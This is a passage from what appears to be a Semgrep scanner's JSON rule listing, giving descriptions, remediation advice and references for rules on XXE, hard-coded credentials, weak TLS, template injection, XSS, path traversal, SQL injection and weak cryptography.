XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The identified XML parser permits the use of external Document Type Definitions (DTDs). The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe.schemafactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe.schemafactory-xxe","id":"kotlin.xxe.schemafactory-xxe.schemafactory-xxe","name":"kotlin.xxe.schemafactory-xxe.schemafactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.schemafactory-xxe.schemafactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.superagent.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.superagent.hardcoded-basic-token.hardcoded-basic-token","id":"javascript.superagent.hardcoded-basic-token.hardcoded-basic-token","name":"javascript.superagent.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.superagent.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Square Access Token detected"},"help":{"markdown":"Square Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-square-access-token.detected-square-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Square Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-square-access-token.detected-square-access-token","id":"generic.secrets.security.detected-square-access-token.detected-square-access-token","name":"generic.secrets.security.detected-square-access-token.detected-square-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-square-access-token.detected-square-access-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret","id":"javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret","name":"javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TLS1.0 and TLS1.1 are deprecated and should not be used anymore. By default, NodeJS used TLSv1.2. So, TLS min version must not be downgrade to TLS1.0 or TLS1.1. Enforce TLS1.3 is highly recommended This rule checks TLS configuration only for PostgreSQL, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"help":{"markdown":"TLS1.0 and TLS1.1 are deprecated and should not be used anymore. By default, NodeJS used TLSv1.2. So, TLS min version must not be downgrade to TLS1.0 or TLS1.1. Enforce TLS1.3 is highly recommended This rule checks TLS configuration only for PostgreSQL, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version)\n - [https://node-postgres.com/features/ssl](https://node-postgres.com/features/ssl)\n - [https://nodejs.org/api/tls.html#tls_class_tls_tlssocket](https://nodejs.org/api/tls.html#tls_class_tls_tlssocket)\n - [https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options](https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options)\n - [https://nodejs.org/api/tls.html#tls_tls_default_min_version](https://nodejs.org/api/tls.html#tls_tls_default_min_version)\n","text":"TLS1.0 and TLS1.1 are deprecated and should not be used anymore. By default, NodeJS used TLSv1.2. So, TLS min version must not be downgrade to TLS1.0 or TLS1.1. Enforce TLS1.3 is highly recommended This rule checks TLS configuration only for PostgreSQL, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version","id":"javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version","name":"javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, AWS CloudWatch Log Group is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your log group in CloudWatch. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, AWS CloudWatch Log Group is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your log group in CloudWatch. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"By default, AWS CloudWatch Log Group is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your log group in CloudWatch. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted","id":"terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted","name":"terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data from `$REQ` is being compiled into the template, which can lead to a Server Side Template Injection (SSTI) vulnerability."},"help":{"markdown":"User data from `$REQ` is being compiled into the template, which can lead to a Server Side Template Injection (SSTI) vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-insecure-template-usage.express-insecure-template-usage)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"User data from `$REQ` is being compiled into the template, which can lead to a Server Side Template Injection (SSTI) vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-insecure-template-usage.express-insecure-template-usage","id":"javascript.express.security.express-insecure-template-usage.express-insecure-template-usage","name":"javascript.express.security.express-insecure-template-usage.express-insecure-template-usage","properties":{"precision":"very-high","tags":["CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-insecure-template-usage.express-insecure-template-usage"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n","text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true","id":"java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true","name":"java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Django filters flagged with 'is_safe'. 'is_safe' tells Django not to apply escaping on the value returned by this filter (although the input is escaped). Used improperly, 'is_safe' could expose your application to cross-site scripting (XSS) vulnerabilities. Ensure this filter does not 1) add HTML characters, 2) remove characters, or 3) use external data in any way. Consider instead removing 'is_safe' and explicitly marking safe content with 'mark_safe()'."},"help":{"markdown":"Detected Django filters flagged with 'is_safe'. 'is_safe' tells Django not to apply escaping on the value returned by this filter (although the input is escaped). Used improperly, 'is_safe' could expose your application to cross-site scripting (XSS) vulnerabilities. Ensure this filter does not 1) add HTML characters, 2) remove characters, or 3) use external data in any way. Consider instead removing 'is_safe' and explicitly marking safe content with 'mark_safe()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe)\n - [https://docs.djangoproject.com/en/3.1/topics/security/#cross-site-scripting-xss-protection](https://docs.djangoproject.com/en/3.1/topics/security/#cross-site-scripting-xss-protection)\n - [https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping](https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping)\n - [https://stackoverflow.com/questions/7665512/why-use-is-safe](https://stackoverflow.com/questions/7665512/why-use-is-safe)\n","text":"Detected Django filters flagged with 'is_safe'. 'is_safe' tells Django not to apply escaping on the value returned by this filter (although the input is escaped). Used improperly, 'is_safe' could expose your application to cross-site scripting (XSS) vulnerabilities. Ensure this filter does not 1) add HTML characters, 2) remove characters, or 3) use external data in any way. Consider instead removing 'is_safe' and explicitly marking safe content with 'mark_safe()'."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe","id":"python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe","name":"python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"help":{"markdown":"RSA keys should be at least 2048 bits based on NIST recommendation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.weak-rsa.use-of-weak-rsa-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.weak-rsa.use-of-weak-rsa-key","id":"kotlin.lang.security.weak-rsa.use-of-weak-rsa-key","name":"kotlin.lang.security.weak-rsa.use-of-weak-rsa-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.weak-rsa.use-of-weak-rsa-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri","id":"ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri","name":"ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django","id":"python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django","name":"python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a Custom Expression ''$EXPRESSION'' calling ''as_sql(...).'' This could lead to SQL injection, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"help":{"markdown":"Detected a Custom Expression ''$EXPRESSION'' calling ''as_sql(...).'' This could lead to SQL injection, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.Func.as_sql](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.Func.as_sql)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"Detected a Custom Expression ''$EXPRESSION'' calling ''as_sql(...).'' This could lead to SQL injection, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql","id":"python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql","name":"python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.boto3.security.hardcoded-token.hardcoded-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n - [https://bento.dev/checks/boto3/hardcoded-access-token/](https://bento.dev/checks/boto3/hardcoded-access-token/)\n - [https://aws.amazon.com/blogs/security/what-to-do-if-you-inadvertently-expose-an-aws-access-key/](https://aws.amazon.com/blogs/security/what-to-do-if-you-inadvertently-expose-an-aws-access-key/)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.boto3.security.hardcoded-token.hardcoded-token","id":"python.boto3.security.hardcoded-token.hardcoded-token","name":"python.boto3.security.hardcoded-token.hardcoded-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.boto3.security.hardcoded-token.hardcoded-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"GCM IV/nonce is reused: encryption can be totally useless"},"help":{"markdown":"GCM IV/nonce is reused: encryption can be totally useless\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"GCM IV/nonce is reused: encryption can be totally useless"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse","id":"java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse","name":"java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse","properties":{"precision":"very-high","tags":["CWE-323: Reusing a Nonce, Key Pair in Encryption","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = ?', 'active')`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = ?', 'active')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli)\n - [https://docs.sqlalchemy.org/en/14/core/connections.html#sqlalchemy.engine.Connection.execute](https://docs.sqlalchemy.org/en/14/core/connections.html#sqlalchemy.engine.Connection.execute)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = ?', 'active')`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli","id":"python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli","name":"python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL 